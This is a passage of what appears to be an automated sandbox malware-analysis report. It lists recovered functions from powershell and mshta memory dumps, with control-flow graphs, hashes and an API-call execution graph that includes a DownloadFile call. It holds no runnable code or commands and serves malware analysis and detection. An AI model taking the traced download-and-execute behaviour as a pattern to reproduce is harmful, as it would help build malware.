                                                                                                                                                                  • Instruction Fuzzy Hash: 5A31847191CA5C9FDB58DF9CD8857A9B7E1FB59321F00822ED04DD3651CB70B8458B81
                                                                                                                                                                  Function 000007FE89647AE1 Relevance: 1.7, APIs: 1, Instructions: 159filenetworkCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.488978666.000007FE89640000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89640000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89640000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DownloadFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1407266417-0
                                                                                                                                                                  • Opcode ID: 5be5cc201a10a9fe005cc6aae24efa7b3baad5526aae0290cd9b3823fde3392e
                                                                                                                                                                  • Instruction ID: 1ed8f7f0ae80c89084b27e9dbc535aea560c51b4fe1287b9f0b0e3846e19024a
                                                                                                                                                                  • Opcode Fuzzy Hash: 5be5cc201a10a9fe005cc6aae24efa7b3baad5526aae0290cd9b3823fde3392e
                                                                                                                                                                  • Instruction Fuzzy Hash: 1B41F57180CB889FDB5ADF9898447EABBF0FB56321F04426FD08DD7592CB646806C781
                                                                                                                                                                  Function 000007FE89718519 Relevance: .7, Instructions: 724COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 28 7fe89718519-7fe8971853a 29 7fe89718556-7fe89718572 28->29 30 7fe8971853c-7fe89718554 28->30 31 7fe89718574-7fe897185c9 29->31 32 7fe897184fd-7fe89718517 29->32 30->29 35 7fe897185cf-7fe897185d9 31->35 36 7fe89718aad-7fe89718b66 31->36 37 7fe897185f2-7fe897185f9 35->37 38 7fe897185db-7fe897185e8 35->38 41 7fe89718610 37->41 42 7fe897185fb-7fe8971860e 37->42 38->37 40 7fe897185ea-7fe897185f0 38->40 40->37 43 7fe89718612-7fe89718614 41->43 42->43 46 7fe89718a28-7fe89718a32 43->46 47 7fe8971861a-7fe89718626 43->47 48 7fe89718a34-7fe89718a44 46->48 49 7fe89718a45-7fe89718a55 46->49 47->36 50 7fe8971862c-7fe89718636 47->50 52 7fe89718a62-7fe89718aac 49->52 53 7fe89718a57-7fe89718a5b 49->53 54 7fe89718652-7fe89718662 50->54 55 7fe89718638-7fe89718645 50->55 53->52 54->46 60 7fe89718668-7fe8971869c 54->60 55->54 56 7fe89718647-7fe89718650 55->56 56->54 60->46 66 7fe897186a2-7fe897186ae 60->66 66->36 67 7fe897186b4-7fe897186be 66->67 68 7fe897186c0-7fe897186cd 67->68 69 7fe897186d7-7fe897186dc 67->69 68->69 70 7fe897186cf-7fe897186d5 68->70 69->46 71 7fe897186e2-7fe897186e7 69->71 70->69 71->46 72 7fe897186ed-7fe897186f2 71->72 72->46 73 7fe897186f8-7fe89718707 72->73 75 7fe89718709-7fe89718713 73->75 76 7fe89718717 73->76 77 7fe89718715 75->77 78 7fe89718733-7fe897187be 75->78 79 7fe8971871c-7fe89718729 76->79 77->79 86 7fe897187c0-7fe897187cb 78->86 87 7fe897187d2-7fe897187f4 78->87 79->78 80 7fe8971872b-7fe89718731 79->80 80->78 86->87 88 7fe89718804 87->88 89 7fe897187f6-7fe89718800 87->89 92 7fe89718809-7fe89718816 88->92 90 7fe89718820-7fe897188ae 89->90 91 7fe89718802 89->91 99 7fe897188b0-7fe897188bb 90->99 100 7fe897188c2-7fe897188e0 90->100 91->92 92->90 94 7fe89718818-7fe8971881e 92->94 94->90 99->100 101 7fe897188f0 100->101 102 7fe897188e2-7fe897188ec 100->102 105 7fe897188f5-7fe89718903 101->105 103 7fe897188ee 102->103 104 7fe8971890d-7fe8971899d 102->104 103->105 112 7fe897189b1-7fe89718a0a 104->112 113 7fe8971899f-7fe897189aa 104->113 105->104 107 7fe89718905-7fe8971890b 105->107 107->104 116 7fe89718a12-7fe89718a27 112->116 113->112
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: be4cb93aaddd8882fb95d4280451cf127a9d3737b9c17adef5774effe30d12a3
                                                                                                                                                                  • Instruction ID: b51fcc979baa7343dc79991ec0b3d472c8ff2a3d5fe178bb6b68c56835156c5f
                                                                                                                                                                  • Opcode Fuzzy Hash: be4cb93aaddd8882fb95d4280451cf127a9d3737b9c17adef5774effe30d12a3
                                                                                                                                                                  • Instruction Fuzzy Hash: 7B32373091DB894FE759DB2C84506B97BE2FF8A344F2401AED48EC72A3DA21AC56C751
                                                                                                                                                                  Function 000007FE89714135 Relevance: .4, Instructions: 449COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 117 7fe89714135-7fe89714192 118 7fe89714194-7fe8971419a 117->118 119 7fe8971411d-7fe89714124 117->119 120 7fe89714125-7fe8971412f 118->120 121 7fe8971419c-7fe897141c4 118->121 119->120 120->117 122 7fe89714427-7fe897144e6 121->122 123 7fe897141ca-7fe897141d4 121->123 124 7fe897141d6-7fe897141e3 123->124 125 7fe897141ed-7fe897141f2 123->125 124->125 126 7fe897141e5-7fe897141eb 124->126 128 7fe897141f8-7fe897141fb 125->128 129 7fe897143cb-7fe897143d5 125->129 126->125 130 7fe89714212 128->130 131 7fe897141fd-7fe89714210 128->131 132 7fe897143e4-7fe897143f4 129->132 133 7fe897143d7-7fe897143e3 129->133 136 7fe89714214-7fe89714216 130->136 131->136 137 7fe89714401-7fe89714424 132->137 138 7fe897143f6-7fe897143fa 132->138 136->129 139 7fe8971421c-7fe89714250 136->139 137->122 138->137 146 7fe89714252-7fe89714265 139->146 147 7fe89714267 139->147 148 7fe89714269-7fe8971426b 146->148 147->148 148->129 149 7fe89714271-7fe89714279 148->149 149->122 151 7fe8971427f-7fe89714289 149->151 152 7fe897142a5-7fe897142b5 151->152 153 7fe8971428b-7fe89714298 151->153 152->129 157 7fe897142bb-7fe897142ec 152->157 153->152 154 7fe8971429a-7fe897142a3 153->154 154->152 157->129 160 7fe897142f2-7fe8971431e 157->160 162 7fe89714320-7fe89714342 160->162 163 7fe89714344 160->163 164 7fe89714346-7fe89714348 162->164 163->164 164->129 166 7fe8971434e-7fe89714356 164->166 167 7fe89714358-7fe89714362 166->167 168 7fe89714366 166->168 170 7fe89714364 167->170 171 7fe89714382-7fe897143a1 167->171 172 7fe8971436b-7fe89714378 168->172 170->172 174 7fe897143ab-7fe897143b1 171->174 172->171 173 7fe8971437a-7fe89714380 172->173 173->171 176 7fe897143b8-7fe897143ca 174->176
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: a5367e24bee346dc19df1e7ad9a26298fafc30f22301be5b43adcd6e308cd4ee
                                                                                                                                                                  • Instruction ID: 6e0b3dd8b4bdf7fcc60719556af46d4decfab1b7dc95cad7814f0822390b1cf3
                                                                                                                                                                  • Opcode Fuzzy Hash: a5367e24bee346dc19df1e7ad9a26298fafc30f22301be5b43adcd6e308cd4ee
                                                                                                                                                                  • Instruction Fuzzy Hash: 06D14B30A1DB8A4FE75AEB2C54146B97FE1EF46388F2801EBD44DC71A3D615AC52C361
                                                                                                                                                                  Function 000007FE8971563D Relevance: .4, Instructions: 409COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 177 7fe8971563d-7fe89715647 178 7fe8971564e-7fe8971565f 177->178 179 7fe89715649 177->179 181 7fe89715661 178->181 182 7fe89715666-7fe89715677 178->182 179->178 180 7fe8971564b 179->180 180->178 181->182 183 7fe89715663 181->183 184 7fe8971567e-7fe8971568f 182->184 185 7fe89715679 182->185 183->182 187 7fe89715691 184->187 188 7fe89715696-7fe897156a7 184->188 185->184 186 7fe8971567b 185->186 186->184 187->188 191 7fe89715693 187->191 189 7fe897156ae-7fe897156c0 188->189 190 7fe897156a9 188->190 193 7fe897156e4-7fe89715708 189->193 194 7fe897156c2-7fe897156e2 189->194 190->189 192 7fe897156ab 190->192 191->188 192->189 195 7fe89715760-7fe8971576a 193->195 196 7fe8971570a-7fe8971570c 193->196 194->193 197 7fe89715770-7fe8971577a 195->197 198 7fe897158d3-7fe8971599c 195->198 199 7fe89715793-7fe89715798 197->199 200 7fe8971577c-7fe89715789 197->200 203 7fe8971579e-7fe897157a1 199->203 204 7fe89715873-7fe8971587d 199->204 200->199 202 7fe8971578b-7fe89715791 200->202 202->199 207 7fe897157a3-7fe897157b2 203->207 208 7fe897157e6 203->208 205 7fe8971588e-7fe8971589e 204->205 206 7fe8971587f-7fe8971588d 204->206 210 7fe897158a0-7fe897158a4 205->210 211 7fe897158ab-7fe897158d0 205->211 207->198 216 7fe897157b8-7fe897157c2 207->216 212 7fe897157e8-7fe897157ea 208->212 210->211 211->198 212->204 215 7fe897157f0-7fe897157f6 212->215 218 7fe89715812-7fe89715843 215->218 219 7fe897157f8-7fe89715805 215->219 221 7fe897157c4-7fe897157d1 216->221 222 7fe897157db-7fe897157e4 216->222 228 7fe8971584a-7fe89715854 218->228 219->218 223 7fe89715807-7fe89715810 219->223 221->222 225 7fe897157d3-7fe897157d9 221->225 222->212 223->218 225->222 231 7fe8971585a-7fe89715872 228->231
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: d1fb3647eb689b4c5a5693b3b1ee872b239719a14ada74403368bbc4b4b01e14
                                                                                                                                                                  • Instruction ID: 02f6b3fbf06e60f8514a89ed76a9eee7f4f3ba9ec77a2db5300a08862131d738
                                                                                                                                                                  • Opcode Fuzzy Hash: d1fb3647eb689b4c5a5693b3b1ee872b239719a14ada74403368bbc4b4b01e14
                                                                                                                                                                  • Instruction Fuzzy Hash: CCC1353080E7C94FD35B973898146B97FA0EF87660F1901EBD48DCB0A3D618AD16C3A2
                                                                                                                                                                  Function 000007FE89710F62 Relevance: .4, Instructions: 351COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 233 7fe89710f62-7fe89710f72 234 7fe89710f74-7fe89710f96 233->234 235 7fe89710efd-7fe89710f49 233->235 236 7fe89711098-7fe897110dc 234->236 237 7fe89710f9c-7fe89710fa6 234->237 247 7fe897110de-7fe897110ea 236->247 248 7fe897110ed-7fe8971110a 236->248 238 7fe89710fbf-7fe89710fee 237->238 239 7fe89710fa8-7fe89710fb5 237->239 238->236 249 7fe89710ff4-7fe89710ffe 238->249 239->238 240 7fe89710fb7-7fe89710fbd 239->240 240->238 247->248 250 7fe89711095-7fe89711097 248->250 251 7fe8971110c-7fe89711124 248->251 252 7fe89711000-7fe8971100d 249->252 253 7fe89711017-7fe89711077 249->253 254 7fe897111c1-7fe897111cb 251->254 255 7fe8971112a-7fe8971119e 251->255 252->253 256 7fe8971100f-7fe89711015 252->256 266 7fe89711079-7fe89711084 253->266 267 7fe8971108b-7fe89711094 253->267 257 7fe897111d8-7fe897111e8 254->257 258 7fe897111cd-7fe897111d7 254->258 271 7fe897111a6-7fe897111be 255->271 256->253 261 7fe897111f5-7fe8971121a 257->261 262 7fe897111ea-7fe897111ee 257->262 262->261 266->267 267->250 271->254
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: fd01f6eb79233c91aff262e1d414bf0111439ce480b6a22b49ec8c1f73036fa5
                                                                                                                                                                  • Instruction ID: a5992683d9bb175e647988d98813999438546e054fdb330f6f4918de60002e8b
                                                                                                                                                                  • Opcode Fuzzy Hash: fd01f6eb79233c91aff262e1d414bf0111439ce480b6a22b49ec8c1f73036fa5
                                                                                                                                                                  • Instruction Fuzzy Hash: 36A10420A0EBC90FE347973C58642657FE2EF47254B2941EBD48DCB1B3D9199C5AC361
                                                                                                                                                                  Function 000007FE89715711 Relevance: .2, Instructions: 167COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 272 7fe89715711-7fe8971576a 274 7fe89715770-7fe8971577a 272->274 275 7fe897158d3-7fe8971599c 272->275 276 7fe89715793-7fe89715798 274->276 277 7fe8971577c-7fe89715789 274->277 280 7fe8971579e-7fe897157a1 276->280 281 7fe89715873-7fe8971587d 276->281 277->276 279 7fe8971578b-7fe89715791 277->279 279->276 284 7fe897157a3-7fe897157b2 280->284 285 7fe897157e6 280->285 282 7fe8971588e-7fe8971589e 281->282 283 7fe8971587f-7fe8971588d 281->283 287 7fe897158a0-7fe897158a4 282->287 288 7fe897158ab-7fe897158d0 282->288 284->275 293 7fe897157b8-7fe897157c2 284->293 289 7fe897157e8-7fe897157ea 285->289 287->288 288->275 289->281 292 7fe897157f0-7fe897157f6 289->292 295 7fe89715812-7fe89715854 292->295 296 7fe897157f8-7fe89715805 292->296 298 7fe897157c4-7fe897157d1 293->298 299 7fe897157db-7fe897157e4 293->299 308 7fe8971585a-7fe89715872 295->308 296->295 300 7fe89715807-7fe89715810 296->300 298->299 302 7fe897157d3-7fe897157d9 298->302 299->289 300->295 302->299
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5d45e0f5137e3a6698ca1124e634dfbd9396b1dbc90e813f3c40936bc9ff1368
                                                                                                                                                                  • Instruction ID: 2b6e0b81a478ee5707ea231d10ea00f73360d0a8ba9cfab73e3485301f38568d
                                                                                                                                                                  • Opcode Fuzzy Hash: 5d45e0f5137e3a6698ca1124e634dfbd9396b1dbc90e813f3c40936bc9ff1368
                                                                                                                                                                  • Instruction Fuzzy Hash: FF41563191DBCA0FE35AA72C54503797BE1EF86690F1901EBC48DC72A3DA20AC128391

                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                  Function 000007FE89716FBE Relevance: 1.8, Strings: 1, Instructions: 563COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 436 7fe89716fbe-7fe89716fc3 437 7fe89716fc5-7fe89717030 436->437 438 7fe8971704f-7fe897170b1 437->438 439 7fe89717032-7fe8971703a 437->439 442 7fe897171a0-7fe897171aa 438->442 443 7fe897170b7-7fe897170c4 438->443 439->437 440 7fe8971703c-7fe8971704e 439->440 440->438 446 7fe897171b7-7fe897171bb 442->446 447 7fe897171ac-7fe897171b6 442->447 444 7fe897171f8-7fe89717232 443->444 445 7fe897170ca-7fe897170d4 443->445 450 7fe897171bd 444->450 461 7fe89717234-7fe89717262 444->461 448 7fe897170d6-7fe897170e3 445->448 449 7fe897170ed-7fe89717102 445->449 446->450 448->449 451 7fe897170e5-7fe897170eb 448->451 449->444 462 7fe89717108-7fe89717112 449->462 453 7fe897171bf-7fe897171c7 450->453 454 7fe89717183-7fe8971719f 450->454 451->449 457 7fe897171d4-7fe897171ea 453->457 458 7fe897171c9-7fe897171cd 453->458 467 7fe897171ed-7fe897171f5 457->467 458->457 461->467 472 7fe89717264-7fe8971728f 461->472 464 7fe89717114-7fe89717121 462->464 465 7fe8971712b-7fe89717181 462->465 464->465 469 7fe89717123-7fe89717129 464->469 465->454 467->444 469->465 475 7fe89717295-7fe8971729f 472->475 476 7fe8971739c-7fe89717451 472->476 477 7fe897172a1-7fe897172ae 475->477 478 7fe897172b8-7fe897172bc 475->478 477->478 481 7fe897172b0-7fe897172b6 477->481 479 7fe89717344-7fe8971734e 478->479 480 7fe897172c2-7fe897172c5 478->480 485 7fe89717350-7fe8971735a 479->485 486 7fe8971735b-7fe8971736b 479->486 483 7fe897172c7-7fe897172da 480->483 484 7fe897172dc 480->484 481->478 487 7fe897172de-7fe897172e0 483->487 484->487 488 7fe89717378-7fe89717399 486->488 489 7fe8971736d-7fe89717371 486->489 487->479 492 7fe897172e2-7fe897172e8 487->492 488->476 489->488 494 7fe89717307-7fe8971731a 492->494 495 7fe897172ea-7fe897172f7 492->495 501 7fe89717333-7fe89717343 494->501 502 7fe8971731c-7fe89717329 494->502 495->494 497 7fe897172f9-7fe89717305 495->497 497->494 502->501 504 7fe8971732b-7fe89717331 502->504 504->501
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: P\2
                                                                                                                                                                  • API String ID: 0-1857966447
                                                                                                                                                                  • Opcode ID: 98e69691e3b398bcee1887ff7a671086ee5a9dd3a402d60404ddd19e5e04ffdf
                                                                                                                                                                  • Instruction ID: 0845f8967b711a3ac83f15e3298f7725db2b668b4c6ee016ae53117d553116ba
                                                                                                                                                                  • Opcode Fuzzy Hash: 98e69691e3b398bcee1887ff7a671086ee5a9dd3a402d60404ddd19e5e04ffdf
                                                                                                                                                                  • Instruction Fuzzy Hash: 1CF1542090EBC90FE757A73898247A53FE1EF8B254F1901EBD48DCB1B3C619995AC361
                                                                                                                                                                  Function 000007FE897134CE Relevance: .3, Instructions: 334COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.489047491.000007FE89710000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89710000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89710000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: e9c3ebf0bff9ec573467b55dd8100653767a3217cff7e007ea7b45e2b3bcb03c
                                                                                                                                                                  • Instruction ID: 5bf6cde7b546b8c2fdc90e92b0a1c1bc0f1f23d56416bcd2fc68ad22c6c6ce49
                                                                                                                                                                  • Opcode Fuzzy Hash: e9c3ebf0bff9ec573467b55dd8100653767a3217cff7e007ea7b45e2b3bcb03c
                                                                                                                                                                  • Instruction Fuzzy Hash: 79A1592050EBC90FD747A73898242A67FF1EF87354F1901EBD48DCB1A3D619991AC362
                                                                                                                                                                  Function 000007FE89641C85 Relevance: .3, Instructions: 277COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.488978666.000007FE89640000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89640000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89640000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 156195b0103ad685df5ced1a35f3e8b595b61227c5e66aab9438d692c2c40ba4
                                                                                                                                                                  • Instruction ID: b92e36d638cd348b61761a2574aa5cb8a8cd3a45f0ef14fcb2ca695e3f08bb34
                                                                                                                                                                  • Opcode Fuzzy Hash: 156195b0103ad685df5ced1a35f3e8b595b61227c5e66aab9438d692c2c40ba4
                                                                                                                                                                  • Instruction Fuzzy Hash: 5C91EB15D1E3E22EE703B7787AA11EA7F605F03524B1A01D7D0D48F4B7E608AB59C3A6
                                                                                                                                                                  Function 000007FE89642C63 Relevance: .1, Instructions: 115COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.488978666.000007FE89640000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89640000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89640000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: d9ad601658c1bd2aaa2ce34b39a8b30d4dfe2f33f043701eb062adb8f55a67d1
                                                                                                                                                                  • Instruction ID: 4957f8ed02b5c5fa275f6e4df7ba0e0905197ea8d1fc0dcbcd195566baf8f8b4
                                                                                                                                                                  • Opcode Fuzzy Hash: d9ad601658c1bd2aaa2ce34b39a8b30d4dfe2f33f043701eb062adb8f55a67d1
                                                                                                                                                                  • Instruction Fuzzy Hash: F131873FB152625AD210BAADF982AFE3754DF8367370404B7E2C8C9463E529714A42F5

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 03360FB1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000000C.00000003.491646007.0000000003360000.00000010.00000800.00020000.00000000.sdmp, Offset: 03360000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_12_3_3360000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: e7edcc502bc78e0401c1bff2258f5a0f995e504693bfe33e80b845ce03bd0fa0
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                  Function 03360FB9 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000000C.00000003.491646007.0000000003360000.00000010.00000800.00020000.00000000.sdmp, Offset: 03360000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_12_3_3360000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: e7edcc502bc78e0401c1bff2258f5a0f995e504693bfe33e80b845ce03bd0fa0
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                  Function 03360FC1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000000C.00000003.491646007.0000000003360000.00000010.00000800.00020000.00000000.sdmp, Offset: 03360000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_12_3_3360000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: e7edcc502bc78e0401c1bff2258f5a0f995e504693bfe33e80b845ce03bd0fa0
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:

                                                                                                                                                                  Execution Graph

                                                                                                                                                                  Execution Coverage:1.3%
                                                                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                  Signature Coverage:3.6%
                                                                                                                                                                  Total number of Nodes:640
                                                                                                                                                                  Total number of Limit Nodes:12
                                                                                                                                                                  execution_graph 47168 4047eb WaitForSingleObject 47169 404805 SetEvent CloseHandle 47168->47169 47170 40481c closesocket 47168->47170 47171 40489c 47169->47171 47172 404829 47170->47172 47173 40483f 47172->47173 47181 404ab1 83 API calls 47172->47181 47175 404851 WaitForSingleObject 47173->47175 47176 404892 SetEvent CloseHandle 47173->47176 47182 41dc15 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 47175->47182 47176->47171 47178 404860 SetEvent WaitForSingleObject 47183 41dc15 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 47178->47183 47180 404878 SetEvent CloseHandle CloseHandle 47180->47176 47181->47173 47182->47178 47183->47180 47184 446fc8 47192 4473ba 47184->47192 47188 446ff1 47189 446fe4 47189->47188 47200 446ff4 11 API calls 47189->47200 47191 446fdc 47201 447174 47192->47201 47195 4473f9 TlsAlloc 47196 4473ea 47195->47196 47208 433d2c 47196->47208 47198 446fd2 47198->47191 47199 446f43 20 API calls 3 library calls 47198->47199 47199->47189 47200->47191 47202 4471a4 47201->47202 47206 4471a0 47201->47206 47202->47195 47202->47196 47203 4471c4 47203->47202 47205 4471d0 GetProcAddress 47203->47205 47207 4471e0 __crt_fast_encode_pointer 47205->47207 47206->47202 47206->47203 47215 447210 47206->47215 47207->47202 47209 433d37 IsProcessorFeaturePresent 47208->47209 47210 433d35 47208->47210 47212 4341a4 47209->47212 47210->47198 47222 434168 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47212->47222 47214 434287 47214->47198 47216 447226 47215->47216 47217 447231 LoadLibraryExW 47215->47217 47216->47206 47218 44724e GetLastError 47217->47218 47219 447266 47217->47219 47218->47219 47220 447259 LoadLibraryExW 47218->47220 47219->47216 47221 44727d FreeLibrary 47219->47221 47220->47219 47221->47216 47222->47214 47223 4339be 47224 4339ca __FrameHandler3::FrameUnwindToState 47223->47224 47255 4336b3 47224->47255 47226 4339d1 47227 433b24 47226->47227 47230 4339fb 47226->47230 47557 433b44 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 47227->47557 47229 433b2b 47550 4426be 47229->47550 47232 433a3a ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47230->47232 47266 4434d1 47230->47266 47240 433a9b 47232->47240 47553 43edf4 35 API calls 3 library calls 47232->47553 47238 433a1a 47274 433c5e 47240->47274 47249 433abd 47249->47229 47250 433ac1 47249->47250 47251 433aca 47250->47251 47555 442661 28 API calls _abort 47250->47555 47556 433842 13 API calls 2 library calls 47251->47556 47254 433ad2 47254->47238 47256 4336bc 47255->47256 47559 433e0a IsProcessorFeaturePresent 47256->47559 47258 4336c8 47560 4379ee 47258->47560 47260 4336cd 47265 4336d1 47260->47265 47569 44335e 47260->47569 47263 4336e8 47263->47226 47265->47226 47267 4434e8 47266->47267 47268 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47267->47268 47269 433a14 47268->47269 47269->47238 47270 443475 47269->47270 47271 4434a4 47270->47271 47272 433d2c 